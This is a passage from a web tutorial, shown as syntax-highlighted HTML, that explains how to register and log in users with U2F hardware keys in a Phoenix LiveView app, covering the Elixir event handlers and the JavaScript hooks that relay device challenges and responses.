&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;85&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;callback_path&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Routes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;login_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:login&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;86&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;callback_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;87&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;88&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;89&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;90&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Login failed.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;91&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;92&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;93&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first functions of the LiveView handle the registration of a new U2F-key.&lt;/p&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#registering-a-u2f-device&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;registering-a-u2f-device&quot;&gt;&lt;/a&gt;Registering a U2F Device&lt;/h4&gt;
&lt;p&gt;User can register their U2F-device with a username and call the &lt;code&gt;start_registration&lt;/code&gt;-handler. The handler simply passes on the &lt;code&gt;username&lt;/code&gt; to the &lt;code&gt;U2FEx&lt;/code&gt;-library, which creates a challenge for the U2F-device and returns &lt;code&gt;registration_requests&lt;/code&gt;. We assign the currently registering &lt;code&gt;username&lt;/code&gt; to the socket and push the &lt;code&gt;registration_requests&lt;/code&gt; back to the JavaScript-Hooks, which I will explain later.&lt;/p&gt;
&lt;p&gt;Once a user has authorized the U2F-device to answer the &lt;code&gt;registration_requests&lt;/code&gt; by pressing a button on the device or touching it, the JavaScript-Hooks will send a &lt;code&gt;finish_registration&lt;/code&gt;-event back to the LiveView. The LiveView receives the device response for the presented challenges and passes on the &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;device_response&lt;/code&gt; to the &lt;code&gt;U2FEx&lt;/code&gt;-library. The library verifies the response against the challenge and returns metadata for the U2F-key. We store the metadata in the database by calling the &lt;code&gt;PKIStorage.create_u2f_key/2&lt;/code&gt;-function.&lt;/p&gt;
&lt;p&gt;The user has now successfully registered a new U2F-device for the given &lt;code&gt;username&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#log-in-with-a-u2f-device&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;log-in-with-a-u2f-device&quot;&gt;&lt;/a&gt;Log in with a U2F Device&lt;/h4&gt;
&lt;p&gt;The login flow using a U2F-device is similar to the registration flow. A user first sends a login request to the LiveView and provides a &lt;code&gt;username&lt;/code&gt; for which a U2F-device was registered previously. We pass the &lt;code&gt;username&lt;/code&gt; into the &lt;code&gt;U2FEx.start_authentication/1&lt;/code&gt; function, which fetches the registered U2F-key metadata from the database and creates a &lt;code&gt;login-challenge&lt;/code&gt;. We merge every &lt;code&gt;registered_key&lt;/code&gt; with the &lt;code&gt;challenge&lt;/code&gt; since this is what the JavaScript-library handles the frontend communication requires. Eventually, we push the &lt;code&gt;sign_requests&lt;/code&gt; to the JavaScript-Hooks.&lt;/p&gt;
&lt;p&gt;Next, the JavaScript-Hooks present the challenge to the U2F-device, the user authorizes the U2F-device to answer the challenge, and eventually the LiveView receives the &lt;code&gt;finish_login&lt;/code&gt;-event, which includes the device response. We present the response to the &lt;code&gt;U2FEx&lt;/code&gt;-library as &lt;code&gt;encoded json&lt;/code&gt; and let the library verify the challenge. If the library returns a success, we know that the user owns the previously registered U2F-device and we can log her in. Unfortunately, we cannot edit the user&apos;s session from inside the LiveView. We need to redirect to a &lt;code&gt;Phoenix.Controller&lt;/code&gt; instead, which then uses &lt;code&gt;put_session/3&lt;/code&gt;, to authenticate the user for subsequent requests. More on this later.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-javascript-hooks-for-authentication&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-javascript-hooks-for-authentication&quot;&gt;&lt;/a&gt;The JavaScript-Hooks for Authentication&lt;/h2&gt;
&lt;p&gt;Before we write our Hooks, please download the &lt;a href=&quot;https://github.com/fido-alliance/google-u2f-ref-code/blob/master/u2f-gae-demo/war/js/u2f-api.js&quot;&gt;u2f-api.js&lt;/a&gt;-library, which handles the communication with the U2F-device in the frontend. Save its code into &lt;code&gt;/assets/js/u2f-api.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s create our LiveView-Hooks. Create the file &lt;code&gt;/assets/js/u2f.js&lt;/code&gt; and paste the following code into it:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// /assets/js/u2f.js&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;u2fApi&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;u2f-api&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Registration&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mounted&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handleEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;register&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;registerRequests&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;u2fApi&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;register&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;registerRequests&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;deviceResponse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;pushEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;finish_registration&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deviceResponse&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Login&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mounted&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handleEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;signRequests&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;u2fApi&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signRequests&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;deviceResponse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;pushEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;finish_login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deviceResponse&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Login&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the Hooks are minimal. They receive the &lt;code&gt;register&lt;/code&gt; and &lt;code&gt;login&lt;/code&gt;-events from the LiveView, pass on the challenges to the &lt;code&gt;u2fApi&lt;/code&gt;, and push the device response back to the LiveView. For brevity, I left out most of the error handling in the Hooks. Thus, in your project, you probably want to handle any errors in the &lt;code&gt;.then()&lt;/code&gt;-callbacks.&lt;/p&gt;
&lt;p&gt;Don&apos;t forget to add these Hooks to your LiveSocket in &lt;code&gt;app.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// /assets/js/app.js&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Login&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./u2f&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Registration&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Login&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Login&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;let&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LiveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/live&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;_csrf_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;csrfToken&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#authenticating-the-user-in-the-phoenixsession&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;authenticating-the-user-in-the-phoenixsession&quot;&gt;&lt;/a&gt;Authenticating the User in the Phoenix.Session&lt;/h2&gt;
&lt;p&gt;After user log in successfully, we redirect them from our LiveView to a &lt;code&gt;LoginController&lt;/code&gt; in order to modify the users&apos; &lt;a href=&quot;https://hexdocs.pm/plug/Plug.Session.html&quot;&gt;Plug.Session&lt;/a&gt;. Let&apos;s recall the code:&lt;/p&gt;
